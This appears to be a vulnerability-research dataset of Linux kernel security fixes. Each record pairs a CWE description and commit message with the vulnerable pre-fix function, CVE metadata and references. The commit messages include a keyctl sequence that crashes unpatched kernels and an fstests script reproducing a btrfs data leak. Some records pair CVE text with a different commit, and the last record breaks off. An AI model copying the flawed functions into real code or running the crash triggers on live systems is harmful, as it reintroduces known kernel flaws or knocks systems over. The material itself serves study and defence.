The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.
Input validation is a frequently-used technique for checking potentially dangerous inputs in order to ensure that the inputs are safe for processing within the code, or when communicating with other components. When software does not validate input properly, an attacker is able to craft the input in a form that is not expected by the rest of the application. This will lead to parts of the system receiving unintended input, which may result in altered control flow, arbitrary control of a resource, or arbitrary code execution. Input validation is not the only technique for processing input, however. Other techniques attempt to transform potentially-dangerous input into something safe, such as filtering (CWE-790) - which attempts to remove dangerous inputs - or encoding/escaping (CWE-116), which attempts to ensure that the input is not misinterpreted when it is included in output to another component. Other techniques exist as well (see CWE-138 for more examples.) Input validation can be applied to: raw data - strings, numbers, parameters, file contents, etc. metadata - information about the raw data, such as headers or size Data can be simple or structured. Structured data can be composed of many nested layers, composed of combinations of metadata and raw data, with other simple or structured data. Many properties of raw data or metadata may need to be validated upon entry into the code, such as: specified quantities such as size, length, frequency, price, rate, number of operations, time, etc. implied or derived quantities, such as the actual size of a file instead of a specified size indexes, offsets, or positions into more complex data structures symbolic keys or other elements into hash tables, associative arrays, etc. well-formedness, i.e. syntactic correctness - compliance with expected syntax lexical token correctness - compliance with rules for what is treated as a token specified or derived type - the actual type of the input (or what the input appears to be) consistency - between individual data elements, between raw data and metadata, between references, etc. conformance to domain-specific rules, e.g. business logic equivalence - ensuring that equivalent inputs are treated the same authenticity, ownership, or other attestations about the input, e.g. a cryptographic signature to prove the source of the data Implied or derived properties of data must often be calculated or inferred by the code itself. Errors in deriving properties may be considered a contributing factor to improper input validation. Note that "input validation" has very different meanings to different people, or within different classification schemes. Caution must be used when referencing this CWE entry or mapping to it. For example, some weaknesses might involve inadvertently giving control to an attacker over an input when they should not be able to provide an input at all, but sometimes this is referred to as input validation. Finally, it is important to emphasize that the distinctions between input validation and output escaping are often blurred, and developers must be careful to understand the difference, including how input validation is not always sufficient to prevent vulnerabilities, especially when less stringent data types must be supported, such as free-form text. Consider a SQL injection scenario in which a person's last name is inserted into a query. The name "O'Reilly" would likely pass the validation step since it is a common last name in the English language. However, this valid name cannot be directly inserted into the database because it contains the "'" apostrophe character, which would need to be escaped or otherwise transformed. In this case, removing the apostrophe might reduce the risk of SQL injection, but it would produce incorrect behavior because the wrong name would be recorded.
https://cwe.mitre.org/data/definitions/20.html
0
David Howells
2015-10-15 17:21:37+01:00
KEYS: Fix crash when attempt to garbage collect an uninstantiated keyring The following sequence of commands: i=`keyctl add user a a @s` keyctl request2 keyring foo bar @t keyctl unlink $i @s tries to invoke an upcall to instantiate a keyring if one doesn't already exist by that name within the user's keyring set. However, if the upcall fails, the code sets keyring->type_data.reject_error to -ENOKEY or some other error code. When the key is garbage collected, the key destroy function is called unconditionally and keyring_destroy() uses list_empty() on keyring->type_data.link - which is in a union with reject_error. Subsequently, the kernel tries to unlink the keyring from the keyring names list - which oopses like this: BUG: unable to handle kernel paging request at 00000000ffffff8a IP: [<ffffffff8126e051>] keyring_destroy+0x3d/0x88 ... Workqueue: events key_garbage_collector ... RIP: 0010:[<ffffffff8126e051>] keyring_destroy+0x3d/0x88 RSP: 0018:ffff88003e2f3d30 EFLAGS: 00010203 RAX: 00000000ffffff82 RBX: ffff88003bf1a900 RCX: 0000000000000000 RDX: 0000000000000000 RSI: 000000003bfc6901 RDI: ffffffff81a73a40 RBP: ffff88003e2f3d38 R08: 0000000000000152 R09: 0000000000000000 R10: ffff88003e2f3c18 R11: 000000000000865b R12: ffff88003bf1a900 R13: 0000000000000000 R14: ffff88003bf1a908 R15: ffff88003e2f4000 ... CR2: 00000000ffffff8a CR3: 000000003e3ec000 CR4: 00000000000006f0 ... Call Trace: [<ffffffff8126c756>] key_gc_unused_keys.constprop.1+0x5d/0x10f [<ffffffff8126ca71>] key_garbage_collector+0x1fa/0x351 [<ffffffff8105ec9b>] process_one_work+0x28e/0x547 [<ffffffff8105fd17>] worker_thread+0x26e/0x361 [<ffffffff8105faa9>] ? rescuer_thread+0x2a8/0x2a8 [<ffffffff810648ad>] kthread+0xf3/0xfb [<ffffffff810647ba>] ? kthread_create_on_node+0x1c2/0x1c2 [<ffffffff815f2ccf>] ret_from_fork+0x3f/0x70 [<ffffffff810647ba>] ? kthread_create_on_node+0x1c2/0x1c2 Note the value in RAX. This is a 32-bit representation of -ENOKEY. The solution is to only call ->destroy() if the key was successfully instantiated. Reported-by: Dmitry Vyukov <[email protected]> Signed-off-by: David Howells <[email protected]> Tested-by: Dmitry Vyukov <[email protected]>
f05819df10d7b09f6d1eb6f8534a8f68e5a4fe61
False
torvalds/linux
Linux kernel source tree
2011-09-04 22:48:12
2022-08-26 19:08:15
torvalds
136917.0
44307.0
key_gc_unused_keys
key_gc_unused_keys( struct list_head * keys)
['keys']
static noinline void key_gc_unused_keys(struct list_head *keys) { while (!list_empty(keys)) { struct key *key = list_entry(keys->next, struct key, graveyard_link); list_del(&key->graveyard_link); kdebug("- %u", key->serial); key_check(key); /* Throw away the key data */ if (key->type->destroy) key->type->destroy(key); security_key_free(key); /* deal with the user's key tracking and quota */ if (test_bit(KEY_FLAG_IN_QUOTA, &key->flags)) { spin_lock(&key->user->lock); key->user->qnkeys--; key->user->qnbytes -= key->quotalen; spin_unlock(&key->user->lock); } atomic_dec(&key->user->nkeys); if (test_bit(KEY_FLAG_INSTANTIATED, &key->flags)) atomic_dec(&key->user->nikeys); key_user_put(key->user); kfree(key->description); #ifdef KEY_DEBUGGING key->magic = KEY_DEBUG_MAGIC_X; #endif kmem_cache_free(key_jar, key); } }
190
True
1
CVE-2015-8374
False
False
False
nan
AV:L/AC:L/Au:N/C:P/I:N/A:N
LOCAL
LOW
NONE
PARTIAL
NONE
NONE
2.1
CVSS:3.0/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
LOCAL
LOW
NONE
NONE
UNCHANGED
LOW
NONE
NONE
4.0
MEDIUM
2.5
1.4
nan
[{'url': 'http://www.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.3.3', 'name': 'http://www.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.3.3', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://www.openwall.com/lists/oss-security/2015/11/27/2', 'name': '[oss-security] 20151127 CVE request: Linux kernel, information disclosure after file truncate on BTRFS', 'refsource': 'MLIST', 'tags': []}, {'url': 'https://bugzilla.redhat.com/show_bug.cgi?id=1286261', 'name': 'https://bugzilla.redhat.com/show_bug.cgi?id=1286261', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=0305cd5f7fca85dae392b9ba85b116896eb7c1c7', 'name': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=0305cd5f7fca85dae392b9ba85b116896eb7c1c7', 'refsource': 'CONFIRM', 'tags': ['Vendor Advisory']}, {'url': 'https://github.com/torvalds/linux/commit/0305cd5f7fca85dae392b9ba85b116896eb7c1c7', 'name': 'https://github.com/torvalds/linux/commit/0305cd5f7fca85dae392b9ba85b116896eb7c1c7', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://www.oracle.com/technetwork/topics/security/ovmbulletinoct2016-3090547.html', 'name': 'http://www.oracle.com/technetwork/topics/security/ovmbulletinoct2016-3090547.html', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://www.oracle.com/technetwork/topics/security/linuxbulletinoct2016-3090545.html', 'name': 'http://www.oracle.com/technetwork/topics/security/linuxbulletinoct2016-3090545.html', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://www.securityfocus.com/bid/78219', 'name': '78219', 'refsource': 'BID', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2889-1', 'name': 'USN-2889-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2890-1', 'name': 'USN-2890-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2890-3', 'name': 'USN-2890-3', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2887-2', 'name': 'USN-2887-2', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2890-2', 'name': 'USN-2890-2', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2887-1', 'name': 'USN-2887-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.securitytracker.com/id/1034895', 'name': '1034895', 'refsource': 'SECTRACK', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2888-1', 'name': 'USN-2888-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2886-1', 'name': 'USN-2886-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2889-2', 'name': 'USN-2889-2', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.debian.org/security/2015/dsa-3426', 'name': 'DSA-3426', 'refsource': 'DEBIAN', 'tags': []}, {'url': 'http://rhn.redhat.com/errata/RHSA-2016-2584.html', 'name': 'RHSA-2016:2584', 'refsource': 'REDHAT', 'tags': []}, {'url': 'http://rhn.redhat.com/errata/RHSA-2016-2574.html', 'name': 'RHSA-2016:2574', 'refsource': 'REDHAT', 'tags': []}]
[{'description': [{'lang': 'en', 'value': 'CWE-200'}]}]
LOW
[{'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*', 'versionEndIncluding': '4.3.2', 'cpe_name': []}]}]
[{'lang': 'en', 'value': 'fs/btrfs/inode.c in the Linux kernel before 4.3.3 mishandles compressed inline extents, which allows local users to obtain sensitive pre-truncation information from a file via a clone action.'}]
2018-01-05T02:30Z
2015-12-28T11:59Z
Exposure of Sensitive Information to an Unauthorized Actor
The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.
There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker. Some kinds of sensitive information include: private, personal information, such as personal messages, financial data, health records, geographic location, or contact details system status and environment, such as the operating system and installed packages business secrets and intellectual property network status and configuration the product's own code or internal state metadata, e.g. logging of connections or message headers indirect information, such as a discrepancy between two internal operations that can be observed by an outsider Information might be sensitive to different parties, each of which may have their own expectations for whether the information should be protected. These parties include: the product's own users people or organizations whose information is created or used by the product, even if they are not direct product users the product's administrators, including the admins of the system(s) and/or networks on which the product operates the developer Information exposures can occur in different ways: the code explicitly inserts sensitive information into resources or messages that are intentionally made accessible to unauthorized actors, but should not contain the information - i.e., the information should have been "scrubbed" or "sanitized" a different weakness or mistake indirectly inserts the sensitive information into resources, such as a web script error revealing the full system path of the program. the code manages resources that intentionally contain sensitive information, but the resources are unintentionally made accessible to unauthorized actors. In this case, the information exposure is resultant - i.e., a different weakness enabled the access to the information in the first place. It is common practice to describe any loss of confidentiality as an "information exposure," but this can lead to overuse of CWE-200 in CWE mapping. From the CWE perspective, loss of confidentiality is a technical impact that can arise from dozens of different weaknesses, such as insecure file permissions or out-of-bounds read. CWE-200 and its lower-level descendants are intended to cover the mistakes that occur in behaviors that explicitly manage, store, transfer, or cleanse sensitive information.
https://cwe.mitre.org/data/definitions/200.html
0
Filipe Manana
2015-10-16 12:34:25+01:00
Btrfs: fix truncation of compressed and inlined extents When truncating a file to a smaller size which consists of an inline extent that is compressed, we did not discard (or made unusable) the data between the new file size and the old file size, wasting metadata space and allowing for the truncated data to be leaked and the data corruption/loss mentioned below. We were also not correctly decrementing the number of bytes used by the inode, we were setting it to zero, giving a wrong report for callers of the stat(2) syscall. The fsck tool also reported an error about a mismatch between the nbytes of the file versus the real space used by the file. Now because we weren't discarding the truncated region of the file, it was possible for a caller of the clone ioctl to actually read the data that was truncated, allowing for a security breach without requiring root access to the system, using only standard filesystem operations. The scenario is the following: 1) User A creates a file which consists of an inline and compressed extent with a size of 2000 bytes - the file is not accessible to any other users (no read, write or execution permission for anyone else); 2) The user truncates the file to a size of 1000 bytes; 3) User A makes the file world readable; 4) User B creates a file consisting of an inline extent of 2000 bytes; 5) User B issues a clone operation from user A's file into its own file (using a length argument of 0, clone the whole range); 6) User B now gets to see the 1000 bytes that user A truncated from its file before it made its file world readbale. User B also lost the bytes in the range [1000, 2000[ bytes from its own file, but that might be ok if his/her intention was reading stale data from user A that was never supposed to be public. Note that this contrasts with the case where we truncate a file from 2000 bytes to 1000 bytes and then truncate it back from 1000 to 2000 bytes. In this case reading any byte from the range [1000, 2000[ will return a value of 0x00, instead of the original data. This problem exists since the clone ioctl was added and happens both with and without my recent data loss and file corruption fixes for the clone ioctl (patch "Btrfs: fix file corruption and data loss after cloning inline extents"). So fix this by truncating the compressed inline extents as we do for the non-compressed case, which involves decompressing, if the data isn't already in the page cache, compressing the truncated version of the extent, writing the compressed content into the inline extent and then truncate it. The following test case for fstests reproduces the problem. In order for the test to pass both this fix and my previous fix for the clone ioctl that forbids cloning a smaller inline extent into a larger one, which is titled "Btrfs: fix file corruption and data loss after cloning inline extents", are needed. Without that other fix the test fails in a different way that does not leak the truncated data, instead part of destination file gets replaced with zeroes (because the destination file has a larger inline extent than the source). seq=`basename $0` seqres=$RESULT_DIR/$seq echo "QA output created by $seq" tmp=/tmp/$$ status=1 # failure is the default! trap "_cleanup; exit \$status" 0 1 2 3 15 _cleanup() { rm -f $tmp.* } # get standard environment, filters and checks . ./common/rc . ./common/filter # real QA test starts here _need_to_be_root _supported_fs btrfs _supported_os Linux _require_scratch _require_cloner rm -f $seqres.full _scratch_mkfs >>$seqres.full 2>&1 _scratch_mount "-o compress" # Create our test files. File foo is going to be the source of a clone operation # and consists of a single inline extent with an uncompressed size of 512 bytes, # while file bar consists of a single inline extent with an uncompressed size of # 256 bytes. For our test's purpose, it's important that file bar has an inline # extent with a size smaller than foo's inline extent. $XFS_IO_PROG -f -c "pwrite -S 0xa1 0 128" \ -c "pwrite -S 0x2a 128 384" \ $SCRATCH_MNT/foo | _filter_xfs_io $XFS_IO_PROG -f -c "pwrite -S 0xbb 0 256" $SCRATCH_MNT/bar | _filter_xfs_io # Now durably persist all metadata and data. We do this to make sure that we get # on disk an inline extent with a size of 512 bytes for file foo. sync # Now truncate our file foo to a smaller size. Because it consists of a # compressed and inline extent, btrfs did not shrink the inline extent to the # new size (if the extent was not compressed, btrfs would shrink it to 128 # bytes), it only updates the inode's i_size to 128 bytes. $XFS_IO_PROG -c "truncate 128" $SCRATCH_MNT/foo # Now clone foo's inline extent into bar. # This clone operation should fail with errno EOPNOTSUPP because the source # file consists only of an inline extent and the file's size is smaller than # the inline extent of the destination (128 bytes < 256 bytes). However the # clone ioctl was not prepared to deal with a file that has a size smaller # than the size of its inline extent (something that happens only for compressed # inline extents), resulting in copying the full inline extent from the source # file into the destination file. # # Note that btrfs' clone operation for inline extents consists of removing the # inline extent from the destination inode and copy the inline extent from the # source inode into the destination inode, meaning that if the destination # inode's inline extent is larger (N bytes) than the source inode's inline # extent (M bytes), some bytes (N - M bytes) will be lost from the destination # file. Btrfs could copy the source inline extent's data into the destination's # inline extent so that we would not lose any data, but that's currently not # done due to the complexity that would be needed to deal with such cases # (specially when one or both extents are compressed), returning EOPNOTSUPP, as # it's normally not a very common case to clone very small files (only case # where we get inline extents) and copying inline extents does not save any # space (unlike for normal, non-inlined extents). $CLONER_PROG -s 0 -d 0 -l 0 $SCRATCH_MNT/foo $SCRATCH_MNT/bar # Now because the above clone operation used to succeed, and due to foo's inline # extent not being shinked by the truncate operation, our file bar got the whole # inline extent copied from foo, making us lose the last 128 bytes from bar # which got replaced by the bytes in range [128, 256[ from foo before foo was # truncated - in other words, data loss from bar and being able to read old and # stale data from foo that should not be possible to read anymore through normal # filesystem operations. Contrast with the case where we truncate a file from a # size N to a smaller size M, truncate it back to size N and then read the range # [M, N[, we should always get the value 0x00 for all the bytes in that range. # We expected the clone operation to fail with errno EOPNOTSUPP and therefore # not modify our file's bar data/metadata. So its content should be 256 bytes # long with all bytes having the value 0xbb. # # Without the btrfs bug fix, the clone operation succeeded and resulted in # leaking truncated data from foo, the bytes that belonged to its range # [128, 256[, and losing data from bar in that same range. So reading the # file gave us the following content: # # 0000000 a1 a1 a1 a1 a1 a1 a1 a1 a1 a1 a1 a1 a1 a1 a1 a1 # * # 0000200 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a # * # 0000400 echo "File bar's content after the clone operation:" od -t x1 $SCRATCH_MNT/bar # Also because the foo's inline extent was not shrunk by the truncate # operation, btrfs' fsck, which is run by the fstests framework everytime a # test completes, failed reporting the following error: # # root 5 inode 257 errors 400, nbytes wrong status=0 exit Cc: [email protected] Signed-off-by: Filipe Manana <[email protected]>
0305cd5f7fca85dae392b9ba85b116896eb7c1c7
False
torvalds/linux
Linux kernel source tree
2011-09-04 22:48:12
2022-08-26 19:08:15
torvalds
136917.0
44307.0
btrfs_truncate_inode_items
btrfs_truncate_inode_items( struct btrfs_trans_handle * trans , struct btrfs_root * root , struct inode * inode , u64 new_size , u32 min_type)
['trans', 'root', 'inode', 'new_size', 'min_type']
int btrfs_truncate_inode_items(struct btrfs_trans_handle *trans, struct btrfs_root *root, struct inode *inode, u64 new_size, u32 min_type) { struct btrfs_path *path; struct extent_buffer *leaf; struct btrfs_file_extent_item *fi; struct btrfs_key key; struct btrfs_key found_key; u64 extent_start = 0; u64 extent_num_bytes = 0; u64 extent_offset = 0; u64 item_end = 0; u64 last_size = new_size; u32 found_type = (u8)-1; int found_extent; int del_item; int pending_del_nr = 0; int pending_del_slot = 0; int extent_type = -1; int ret; int err = 0; u64 ino = btrfs_ino(inode); u64 bytes_deleted = 0; bool be_nice = 0; bool should_throttle = 0; bool should_end = 0; BUG_ON(new_size > 0 && min_type != BTRFS_EXTENT_DATA_KEY); /* * for non-free space inodes and ref cows, we want to back off from * time to time */ if (!btrfs_is_free_space_inode(inode) && test_bit(BTRFS_ROOT_REF_COWS, &root->state)) be_nice = 1; path = btrfs_alloc_path(); if (!path) return -ENOMEM; path->reada = -1; /* * We want to drop from the next block forward in case this new size is * not block aligned since we will be keeping the last block of the * extent just the way it is. */ if (test_bit(BTRFS_ROOT_REF_COWS, &root->state) || root == root->fs_info->tree_root) btrfs_drop_extent_cache(inode, ALIGN(new_size, root->sectorsize), (u64)-1, 0); /* * This function is also used to drop the items in the log tree before * we relog the inode, so if root != BTRFS_I(inode)->root, it means * it is used to drop the loged items. So we shouldn't kill the delayed * items. */ if (min_type == 0 && root == BTRFS_I(inode)->root) btrfs_kill_delayed_inode_items(inode); key.objectid = ino; key.offset = (u64)-1; key.type = (u8)-1; search_again: /* * with a 16K leaf size and 128MB extents, you can actually queue * up a huge file in a single leaf. Most of the time that * bytes_deleted is > 0, it will be huge by the time we get here */ if (be_nice && bytes_deleted > 32 * 1024 * 1024) { if (btrfs_should_end_transaction(trans, root)) { err = -EAGAIN; goto error; } } path->leave_spinning = 1; ret = btrfs_search_slot(trans, root, &key, path, -1, 1); if (ret < 0) { err = ret; goto out; } if (ret > 0) { /* there are no items in the tree for us to truncate, we're * done */ if (path->slots[0] == 0) goto out; path->slots[0]--; } while (1) { fi = NULL; leaf = path->nodes[0]; btrfs_item_key_to_cpu(leaf, &found_key, path->slots[0]); found_type = found_key.type; if (found_key.objectid != ino) break; if (found_type < min_type) break; item_end = found_key.offset; if (found_type == BTRFS_EXTENT_DATA_KEY) { fi = btrfs_item_ptr(leaf, path->slots[0], struct btrfs_file_extent_item); extent_type = btrfs_file_extent_type(leaf, fi); if (extent_type != BTRFS_FILE_EXTENT_INLINE) { item_end += btrfs_file_extent_num_bytes(leaf, fi); } else if (extent_type == BTRFS_FILE_EXTENT_INLINE) { item_end += btrfs_file_extent_inline_len(leaf, path->slots[0], fi); } item_end--; } if (found_type > min_type) { del_item = 1; } else { if (item_end < new_size) break; if (found_key.offset >= new_size) del_item = 1; else del_item = 0; } found_extent = 0; /* FIXME, shrink the extent if the ref count is only 1 */ if (found_type != BTRFS_EXTENT_DATA_KEY) goto delete; if (del_item) last_size = found_key.offset; else last_size = new_size; if (extent_type != BTRFS_FILE_EXTENT_INLINE) { u64 num_dec; extent_start = btrfs_file_extent_disk_bytenr(leaf, fi); if (!del_item) { u64 orig_num_bytes = btrfs_file_extent_num_bytes(leaf, fi); extent_num_bytes = ALIGN(new_size - found_key.offset, root->sectorsize); btrfs_set_file_extent_num_bytes(leaf, fi, extent_num_bytes); num_dec = (orig_num_bytes - extent_num_bytes); if (test_bit(BTRFS_ROOT_REF_COWS, &root->state) && extent_start != 0) inode_sub_bytes(inode, num_dec); btrfs_mark_buffer_dirty(leaf); } else { extent_num_bytes = btrfs_file_extent_disk_num_bytes(leaf, fi); extent_offset = found_key.offset - btrfs_file_extent_offset(leaf, fi); /* FIXME blocksize != 4096 */ num_dec = btrfs_file_extent_num_bytes(leaf, fi); if (extent_start != 0) { found_extent = 1; if (test_bit(BTRFS_ROOT_REF_COWS, &root->state)) inode_sub_bytes(inode, num_dec); } } } else if (extent_type == BTRFS_FILE_EXTENT_INLINE) { /* * we can't truncate inline items that have had * special encodings */ if (!del_item && btrfs_file_extent_compression(leaf, fi) == 0 && btrfs_file_extent_encryption(leaf, fi) == 0 && btrfs_file_extent_other_encoding(leaf, fi) == 0) { u32 size = new_size - found_key.offset; if (test_bit(BTRFS_ROOT_REF_COWS, &root->state)) inode_sub_bytes(inode, item_end + 1 - new_size); /* * update the ram bytes to properly reflect * the new size of our item */ btrfs_set_file_extent_ram_bytes(leaf, fi, size); size = btrfs_file_extent_calc_inline_size(size); btrfs_truncate_item(root, path, size, 1); } else if (test_bit(BTRFS_ROOT_REF_COWS, &root->state)) { inode_sub_bytes(inode, item_end + 1 - found_key.offset); } } delete: if (del_item) { if (!pending_del_nr) { /* no pending yet, add ourselves */ pending_del_slot = path->slots[0]; pending_del_nr = 1; } else if (pending_del_nr && path->slots[0] + 1 == pending_del_slot) { /* hop on the pending chunk */ pending_del_nr++; pending_del_slot = path->slots[0]; } else { BUG(); } } else { break; } should_throttle = 0; if (found_extent && (test_bit(BTRFS_ROOT_REF_COWS, &root->state) || root == root->fs_info->tree_root)) { btrfs_set_path_blocking(path); bytes_deleted += extent_num_bytes; ret = btrfs_free_extent(trans, root, extent_start, extent_num_bytes, 0, btrfs_header_owner(leaf), ino, extent_offset, 0); BUG_ON(ret); if (btrfs_should_throttle_delayed_refs(trans, root)) btrfs_async_run_delayed_refs(root, trans->delayed_ref_updates * 2, 0); if (be_nice) { if (truncate_space_check(trans, root, extent_num_bytes)) { should_end = 1; } if (btrfs_should_throttle_delayed_refs(trans, root)) { should_throttle = 1; } } } if (found_type == BTRFS_INODE_ITEM_KEY) break; if (path->slots[0] == 0 || path->slots[0] != pending_del_slot || should_throttle || should_end) { if (pending_del_nr) { ret = btrfs_del_items(trans, root, path, pending_del_slot, pending_del_nr); if (ret) { btrfs_abort_transaction(trans, root, ret); goto error; } pending_del_nr = 0; } btrfs_release_path(path); if (should_throttle) { unsigned long updates = trans->delayed_ref_updates; if (updates) { trans->delayed_ref_updates = 0; ret = btrfs_run_delayed_refs(trans, root, updates * 2); if (ret && !err) err = ret; } } /* * if we failed to refill our space rsv, bail out * and let the transaction restart */ if (should_end) { err = -EAGAIN; goto error; } goto search_again; } else { path->slots[0]--; } } out: if (pending_del_nr) { ret = btrfs_del_items(trans, root, path, pending_del_slot, pending_del_nr); if (ret) btrfs_abort_transaction(trans, root, ret); } error: if (root->root_key.objectid != BTRFS_TREE_LOG_OBJECTID) btrfs_ordered_update_i_size(inode, last_size, NULL); btrfs_free_path(path); if (be_nice && bytes_deleted > 32 * 1024 * 1024) { unsigned long updates = trans->delayed_ref_updates; if (updates) { trans->delayed_ref_updates = 0; ret = btrfs_run_delayed_refs(trans, root, updates * 2); if (ret && !err) err = ret; } } return err; }
1374
True
1
CVE-2015-8961
False
False
False
True
AV:N/AC:M/Au:N/C:C/I:C/A:C
NETWORK
MEDIUM
NONE
COMPLETE
COMPLETE
COMPLETE
9.3
CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
LOCAL
LOW
NONE
REQUIRED
UNCHANGED
HIGH
HIGH
HIGH
7.8
HIGH
1.8
5.9
nan
[{'url': 'https://github.com/torvalds/linux/commit/6934da9238da947628be83635e365df41064b09b', 'name': 'https://github.com/torvalds/linux/commit/6934da9238da947628be83635e365df41064b09b', 'refsource': 'CONFIRM', 'tags': ['Patch', 'Vendor Advisory']}, {'url': 'http://www.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.3.3', 'name': 'http://www.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.3.3', 'refsource': 'CONFIRM', 'tags': ['Release Notes']}, {'url': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=6934da9238da947628be83635e365df41064b09b', 'name': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=6934da9238da947628be83635e365df41064b09b', 'refsource': 'CONFIRM', 'tags': ['Patch', 'Vendor Advisory']}, {'url': 'https://source.android.com/security/bulletin/2016-11-01.html', 'name': 'https://source.android.com/security/bulletin/2016-11-01.html', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://www.securityfocus.com/bid/94135', 'name': '94135', 'refsource': 'BID', 'tags': []}]
[{'description': [{'lang': 'en', 'value': 'CWE-416'}]}]
HIGH
[{'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*', 'versionEndIncluding': '4.3.2', 'cpe_name': []}]}]
[{'lang': 'en', 'value': 'The __ext4_journal_stop function in fs/ext4/ext4_jbd2.c in the Linux kernel before 4.3.3 allows local users to gain privileges or cause a denial of service (use-after-free) by leveraging improper access to a certain error field.'}]
2017-01-18T02:59Z
2016-11-16T05:59Z
Use After Free
Referencing memory after it has been freed can cause a program to crash, use unexpected values, or execute code.
The use of previously-freed memory can have any number of adverse consequences, ranging from the corruption of valid data to the execution of arbitrary code, depending on the instantiation and timing of the flaw. The simplest way data corruption may occur involves the system's reuse of the freed memory. Use-after-free errors have two common and sometimes overlapping causes: Error conditions and other exceptional circumstances. Confusion over which part of the program is responsible for freeing the memory. In this scenario, the memory in question is allocated to another pointer validly at some point after it has been freed. The original pointer to the freed memory is used again and points to somewhere within the new allocation. As the data is changed, it corrupts the validly used memory; this induces undefined behavior in the process. If the newly allocated data chances to hold a class, in C++ for example, various function pointers may be scattered within the heap data. If one of these function pointers is overwritten with an address to valid shellcode, execution of arbitrary code can be achieved.
https://cwe.mitre.org/data/definitions/416.html
0
Lukas Czerner
2015-10-17 22:57:06-04:00
ext4: fix potential use after free in __ext4_journal_stop There is a use-after-free possibility in __ext4_journal_stop() in the case that we free the handle in the first jbd2_journal_stop() because we're referencing handle->h_err afterwards. This was introduced in 9705acd63b125dee8b15c705216d7186daea4625 and it is wrong. Fix it by storing the handle->h_err value beforehand and avoid referencing potentially freed handle. Fixes: 9705acd63b125dee8b15c705216d7186daea4625 Signed-off-by: Lukas Czerner <[email protected]> Reviewed-by: Andreas Dilger <[email protected]> Cc: [email protected]
6934da9238da947628be83635e365df41064b09b
False
torvalds/linux
Linux kernel source tree
2011-09-04 22:48:12
2022-08-26 19:08:15
torvalds
136917.0
44307.0
__ext4_journal_stop
__ext4_journal_stop( const char * where , unsigned int line , handle_t * handle)
['where', 'line', 'handle']
int __ext4_journal_stop(const char *where, unsigned int line, handle_t *handle) { struct super_block *sb; int err; int rc; if (!ext4_handle_valid(handle)) { ext4_put_nojournal(handle); return 0; } if (!handle->h_transaction) { err = jbd2_journal_stop(handle); return handle->h_err ? handle->h_err : err; } sb = handle->h_transaction->t_journal->j_private; err = handle->h_err; rc = jbd2_journal_stop(handle); if (!err) err = rc; if (err) __ext4_std_error(sb, where, line, err); return err; }
123
True
1
CVE-2015-8787
False
False
False
nan
AV:N/AC:L/Au:N/C:C/I:C/A:C
NETWORK
LOW
NONE
COMPLETE
COMPLETE
COMPLETE
10.0
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
NETWORK
LOW
NONE
NONE
UNCHANGED
HIGH
HIGH
HIGH
9.8
CRITICAL
3.9
5.9
nan
[{'url': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=94f9cd81436c85d8c3a318ba92e236ede73752fc', 'name': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=94f9cd81436c85d8c3a318ba92e236ede73752fc', 'refsource': 'CONFIRM', 'tags': ['Issue Tracking', 'Patch', 'Vendor Advisory']}, {'url': 'https://bugzilla.redhat.com/show_bug.cgi?id=1300731', 'name': 'https://bugzilla.redhat.com/show_bug.cgi?id=1300731', 'refsource': 'CONFIRM', 'tags': ['Issue Tracking']}, {'url': 'https://github.com/torvalds/linux/commit/94f9cd81436c85d8c3a318ba92e236ede73752fc', 'name': 'https://github.com/torvalds/linux/commit/94f9cd81436c85d8c3a318ba92e236ede73752fc', 'refsource': 'CONFIRM', 'tags': ['Issue Tracking', 'Patch', 'Third Party Advisory']}, {'url': 'http://www.openwall.com/lists/oss-security/2016/01/27/6', 'name': '[oss-security] 20160127 CVE Request: Linux: NULL pointer dereference netfilter/nf_nat_redirect.c in nf_nat_redirect_ipv4 function', 'refsource': 'MLIST', 'tags': ['Mailing List']}, {'url': 'http://www.oracle.com/technetwork/topics/security/linuxbulletinjul2016-3090544.html', 'name': 